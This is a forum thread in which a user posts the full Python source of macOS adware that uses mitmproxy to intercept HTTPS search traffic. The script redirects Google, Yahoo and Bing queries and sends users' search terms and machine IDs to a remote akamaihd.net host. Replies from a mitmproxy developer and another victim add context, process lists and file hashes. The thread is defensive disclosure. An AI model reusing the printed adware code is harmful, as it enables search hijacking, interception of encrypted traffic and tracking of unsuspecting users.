MajorSignalSearch: malware using mitmproxy

Hi,

This morning I discovered some malware on my wife’s MacBook Pro which had the unpleasant effect of redirecting Google search requests in Safari to Yahoo. A bit of investigation yielded a process called MajorSignalSearch that appeared to be responsible for this. The culprit was a file called MajorSignalSearch.py that relies extensively on mitmproxy to do its dirty work. Here is the source code:

import collections
import random
import datetime

from enum import Enum

import mitmproxy
from mitmproxy import ctx
from mitmproxy.exceptions import TlsProtocolException
from mitmproxy.proxy.protocol import TlsLayer, RawTCPLayer
import re
from mitmproxy.net.http import Headers
from mitmproxy.http import HTTPResponse

import json
import urllib
try:
    import urllib.request as urllib2
except ImportError:
    import urllib2

class _TlsStrategy:
    def __init__(self):
        pass

    def should_intercept(self, server_address):
        raise NotImplementedError()


class ConservativeStrategy(_TlsStrategy):
    def should_intercept(self, server_address):
        return GetInterceptableDomainId(server_address[0]) != None


class TlsFeedback(TlsLayer):
    def _establish_tls_with_client(self):
        server_address = self.server_conn.address

        try:
            super(TlsFeedback, self)._establish_tls_with_client()
        except TlsProtocolException as e:
            raise e


# global variables
machineId = "4E033AA9-5B2E-5B0D-A384-656C144D52B1"
br = "1007"
searchUrl = "http://lkysearchds4407-a.akamaihd.net/ps?_pg=4E033AA9-5B2E-5B0D-A384-656C144D52B1&q=@@SearchTerm@@"
interceptableDomains = {"1":[{"Id":"1","Domain":".google.","IsRegex":"False"}],"2":[{"Id":"2","Domain":".yahoo.","IsRegex":"False"}],"3":[{"Id":"3","Domain":".bing.","IsRegex":"False"}]}
searchMatches = {"1":{"Id":"1","MatchRegex":"https?://[^/]*/search\\?.*?[?&]q=","SearchQueryParam":"q"},"2":{"Id":"2","MatchRegex":"^https?:\\/\\/[^\\/]*\\/search.*?[?&]p=*((?!ANYS_.|Tarrv_.|__alt__ddc_srch_searchpulse_net|hspart=sz&.*?type=type801[^&]*).)*$","SearchQueryParam":"p"},"3":{"Id":"3","MatchRegex":"^https?:\\/\\/[^\\/]*\\/search.*?[?&]q=((?!AEE67B61E61).)*$","SearchQueryParam":"q"}}
domainMaps = {"1":["1"],"2":["2"],"3":["3"]}
userAgents = [".*?\\)\\s*[^\\)]+(?:(?<!Chrome)/[0-9\\.]+ Safari/([0-9\\.]+))$"]
referrerChecks = {}
tls_strategy = None
intercepts = {}
yahooTypeTagRegexes = [re.compile(r'type=ANYS_.*$', re.M|re.I), re.compile(r'type=Tarrv_.*$', re.M|re.I), re.compile(r'type=[^&]*__alt__ddc_srch_searchpulse_net', re.M|re.I), re.compile(r'hspart=sz&.*?type=type801[^&]*', re.M|re.I)]
isGoogleMapRegex = re.compile(r'^https?://[^/]*\.google\.co[^/]*/.*[?&]tbm=map.*', re.M|re.I)
searchParamString = '[?&]na=([^&]+)'
scriptVersion = 1.0
responseBodyTemplate = """
<!DOCTYPE html>
<html>
  <head>
    <meta name="referrer" content="no-referrer" />
    <meta http-equiv="Refresh" content="0; url=@@RedirectUrl@@" />
  </head>
</html>
"""


def load(l):
    pass


def configure(updated):
    global tls_strategy
    tls_strategy = ConservativeStrategy()


def next_layer(next_layer):
    if isinstance(next_layer, TlsLayer) and next_layer._client_tls:
        server_address = next_layer.server_conn.address

        if tls_strategy.should_intercept(server_address):
            next_layer.__class__ = TlsFeedback
        else:
            #mitmproxy.ctx.log("TLS passthrough for %s" % repr(next_layer.server_conn.address), "info")
            next_layer_replacement = RawTCPLayer(next_layer.ctx, ignore=True)
            next_layer.reply.send(next_layer_replacement)


def GetInterceptableDomainId(domain):
    for key, interceptableDomainGroup in interceptableDomains.items():
        for interceptableDomain in interceptableDomainGroup:
            if (interceptableDomain['IsRegex'] == 'True' and re.match(interceptableDomain['Domain'], domain)) or (interceptableDomain['IsRegex'] == 'False' and interceptableDomain['Domain'] in domain):
                return interceptableDomain['Id']
    return None

def SendNoIntercept(url, userAgent, referrer, searchTerm, reason):
    #ctx.log.info("------------Entered SendNoIntercept: %s------------" % reason)

    data = {
        "ev": "pdt",
        "sv": scriptVersion,
        "rf": urllib.parse.quote(referrer),
        "ua": userAgent,
        "cg": machineId,
        "br": br,
        "u": urllib.parse.quote(url),
        "st": urllib.parse.quote(searchTerm),
        "r": reason
    }

    try:
        json_data = json.dumps(data).encode("utf-8")
        method = "POST"
        handler = urllib2.HTTPHandler()
        opener = urllib2.build_opener(handler)
        request = urllib2.Request("http://lkysearchds4407-a.akamaihd.net/olg", data=json_data)
        request.add_header("Content-Type",'application/json')
        request.get_method = lambda: method
        connection = opener.open(request)
    except Exception as e:
        #ctx.log.error("------------Error sending message ------------\n%s:\n%s" % (e.__doc__, e.message))
        pass


def request(flow):
    searchTerm = ""
    referrer = flow.request.headers.get("Referer") or ""
    userAgent = flow.request.headers.get("User-Agent") or ""

    # abort if userAgent not in whitelist    
    userAgentMatches = False
    for ua in userAgents:
        userAgentMatches = userAgentMatches or (re.match(ua, userAgent) != None)

    if not userAgentMatches:
        #SendNoIntercept(flow.request.url, userAgent, referrer, "UA mismatch")
        return

    # get domain id if it exists
    domainId = GetInterceptableDomainId(flow.request.host)

    # abort if domain id was not found
    if domainId == None:
        return

    # get valid search string ids
    validDomainMaps = domainMaps[domainId]
    
    # abort if there are no search strings
    if validDomainMaps == None or not validDomainMaps:
        return

    for mapMatchId in validDomainMaps:
        try:
            searchMatchItem = searchMatches[mapMatchId]
            if searchMatchItem == None or not searchMatchItem:
                continue
            if re.search(searchMatchItem['MatchRegex'], flow.request.url) != None:
                searchQueryRegex = searchParamString.replace("na", searchMatchItem['SearchQueryParam'])
                searchTerm = re.search(searchQueryRegex, flow.request.url).group(1)
                break
        except:
            pass

    skipReferrerCheck = referrerChecks.get(domainId, 'False')
  
    if not searchTerm:
        #SendNoIntercept(flow.request.url, userAgent, referrer, "No search term")
        return

    # abort if yahoo typetag matches blacklist
    if 'search.yahoo' in flow.request.host:
        for pattern in yahooTypeTagRegexes:
            if re.search(pattern, flow.request.url) != None:
                SendNoIntercept(flow.request.url, userAgent, referrer, searchTerm, "Yahoo typetag blacklist")
                return

    # abort if google maps
    if re.match(isGoogleMapRegex, flow.request.url) != None:
        return

    # abort if no referer    
    if skipReferrerCheck != 'True' and (referrer) != "":
        SendNoIntercept(flow.request.url, userAgent, referrer, searchTerm, "Referrer exists")
        return

    # abort if request has already been made within the threshold
    requestTime = datetime.datetime.now()
    lastRequestTime = requestTime + datetime.timedelta(days=-1)
    if searchTerm in intercepts:
        lastRequestTime = intercepts[searchTerm]        
    timeDifference = requestTime - lastRequestTime
    maxTimeDifference = datetime.timedelta(seconds=5)
    if maxTimeDifference >= timeDifference:
        SendNoIntercept(flow.request.url, userAgent, referrer, searchTerm, "Repeat search")
        return

    intercepts[searchTerm] = datetime.datetime.now()
    flow.request.headers["Referer"] = ""
    redirectUrl = searchUrl.replace("@@SearchTerm@@", searchTerm)
    if (referrer) != "":
        redirectUrl = redirectUrl + "&s=" + domainId
    responseBody = responseBodyTemplate.replace("@@RedirectUrl@@", redirectUrl)
    flow.response = HTTPResponse.make(
        302,  # (optional) status code
        responseBody.encode('utf-8'),  # (optional) content
        {"Content-Type": "text/html"} # (optional) headers
    )

This file and some others were in /var/root/.MajorSignalSearch. I also had to kill the daemon and remove the plist file in /Users/$USER/Library/Application Support/com.MajorSignalSearch/MajorSignalSearch

I just wanted to create this post hoping Google would index it and perhaps lead other affected people to a solution.

This post should not be construed as criticism of mitmproxy in any way, as I had never heard from it until I looked at the malware source code…

Hi @tschoonj,

Thank you for the heads-up! I unfortunately stumbled upon the same issue on a machine yesterday, so there might be a new campaign being pushed. :slightly_frowning_face:

Key Points:

  1. There unfortunately is a family of malicious software that uses mitmproxy’s code under the hood to redirect users’ traffic.
  2. We – the mitmproxy developers – are in no way affiliated with this and condemn the criminals’ activities. Unfortunately, we cannot stop them including our code in their software.
  3. Our software is unfortunately mis-used for malicious purposes here. We are sorry if you have been infected. We would like to emphasize that we actively fight “on the other side”: Mitmproxy is regularly used to improve software security, uncover privacy violations, etc.: https://mitmproxy.org/publications/.

More technical commentary:
The name (MajorSignalSearch in your case) seems to be randomized. Malwarebytes classifies it as Adware.OperatorMac. They have a blog post describing the phenomenon:
https://blog.malwarebytes.com/threat-analysis/2018/10/mac-malware-intercepts-encrypted-web-traffic-for-ad-injection/. Mitmproxy is not the only tool that could be used for this, some other malware families are using Titanium Web Proxy for example (https://www.airoav.com/mitm-proxy-a-new-search-hijack-method-on-mojave/).

Best,
Max

I ran into what looks like the same malware on a friend’s system. Just adding a little more information in case it helps others find a solution faster–feel free to delete if you think it’s counter-productive, though.

  • Can confirm randomized names; in this case SkilledDeskSearch.
  • I’m not certain, but after reading up on OperatorMac I see “Advanced Mac Cleanup” cited as a potential source. I’m pretty sure I found and removed this app (along with several others the friend didn’t use/recognize, including “MacEnizer”, “ShowProcess”, “SkyScanner” and a few more I don’t recall off the top of my head).
  • In our case the script sends traffic to prisearches1442-a.akamaihd.net.

I collected the files and running process info. Both SkilledDeskSearch and SkilledDeskSearchDaemon binaries have a size around 12M. Here’s what was running, and the associated file hashes:

Running processes:
   49 ??         0:01.02 /var/root/.SkilledDeskSearch/SkilledDeskSearchDaemon
  496 ??         0:00.27 /var/root/.SkilledDeskSearch/SkilledDeskSearch --mode socks5 --showhost -q -s /var/root/.SkilledDeskSearch/SkilledDeskSearch.py
  526 ??         1:52.57 /var/root/.SkilledDeskSearch/SkilledDeskSearch --mode socks5 --showhost -q -s /var/root/.SkilledDeskSearch/SkilledDeskSearch.py

md5sum:
88781be104a4dcb13846189a2b1ea055  /var/root/.SkilledDeskSearch/SkilledDeskSearch
a8181c3356bd6d7ba6126eed14d8cf81  /var/root/.SkilledDeskSearch/SkilledDeskSearch.py
c3feba6a65878458c45f0b61e80502a3  /var/root/.SkilledDeskSearch/SkilledDeskSearchDaemon
cd823cb029ff6a16c831ef794986f15a  /var/root/.mitmproxy/mitmproxy-ca-cert.cer
d307042277fcb8a09fc7a478ee3a2606  /var/root/.mitmproxy/mitmproxy-ca-cert.p12
cd823cb029ff6a16c831ef794986f15a  /var/root/.mitmproxy/mitmproxy-ca-cert.pem
6a4a133e68fc57372d4c47393925dbf9  /var/root/.mitmproxy/mitmproxy-ca.p12
923b3dd65345ad03aef6e0c3886d72c9  /var/root/.mitmproxy/mitmproxy-ca.pem
a42d9394a706998b3aa079b70954be6a  /var/root/.mitmproxy/mitmproxy-dhparam.pem

shasum:
140518c86164152abf88165b5ab327ddff859b0e  /var/root/.SkilledDeskSearch/SkilledDeskSearch
492964dffacf1f93d130457a65c0cc0bd16408a1  /var/root/.SkilledDeskSearch/SkilledDeskSearch.py
e53a8dad49bd0b51fa7bf4c1f7285590b7b8bb3a  /var/root/.SkilledDeskSearch/SkilledDeskSearchDaemon
18329565d344f1216a4469e769c15c374dcb2635  /var/root/.mitmproxy/mitmproxy-ca-cert.cer
c864c4887fb67ed9a5678b6fc6685e89262e87a3  /var/root/.mitmproxy/mitmproxy-ca-cert.p12
18329565d344f1216a4469e769c15c374dcb2635  /var/root/.mitmproxy/mitmproxy-ca-cert.pem
77089c231316fa2bc2c4e556917d92b702a919eb  /var/root/.mitmproxy/mitmproxy-ca.p12
0f0978350a3f7f77808b2c70290bb9cb63de397f  /var/root/.mitmproxy/mitmproxy-ca.pem
8c6010c959840e3b7c37d69ce66e65199ccf1973  /var/root/.mitmproxy/mitmproxy-dhparam.pem

sha256sum:
1a8a17b615799f504d1e801b7b7f15476ee94d242affc103a4359c4eb5d9ad7f  /var/root/.SkilledDeskSearch/SkilledDeskSearch
65dc40a2c7e5a5c69743a25a91c8e2c2ca336dfb5ea9884ac74d5dfc5cedf52b  /var/root/.SkilledDeskSearch/SkilledDeskSearch.py
ee27295cc5629101549c6df41f1197733e341b37196bfacaca76738b205970ff  /var/root/.SkilledDeskSearch/SkilledDeskSearchDaemon
ad03dd660ddb0940f86a717b4aabf7b78d90c7db1ad29c4472d63dfe2b336867  /var/root/.mitmproxy/mitmproxy-ca-cert.cer
bea1a281369e2d23345f6cf3ee35fa2335abcb922d7af0d7f1c9484ae077eba1  /var/root/.mitmproxy/mitmproxy-ca-cert.p12
ad03dd660ddb0940f86a717b4aabf7b78d90c7db1ad29c4472d63dfe2b336867  /var/root/.mitmproxy/mitmproxy-ca-cert.pem
2cb5b43386aaaa4326e8272f8b03557c4b1c87f2dc8ba95ba5dc28fc04f2425b  /var/root/.mitmproxy/mitmproxy-ca.p12
f69ec3697a646c222b1313592b95dedd21680ef634cdd89687820edb072b3bfd  /var/root/.mitmproxy/mitmproxy-ca.pem
477594498b21aba93a9d0097f54746469b99ed638b5af89fe8504be175be4168  /var/root/.mitmproxy/mitmproxy-dhparam.pem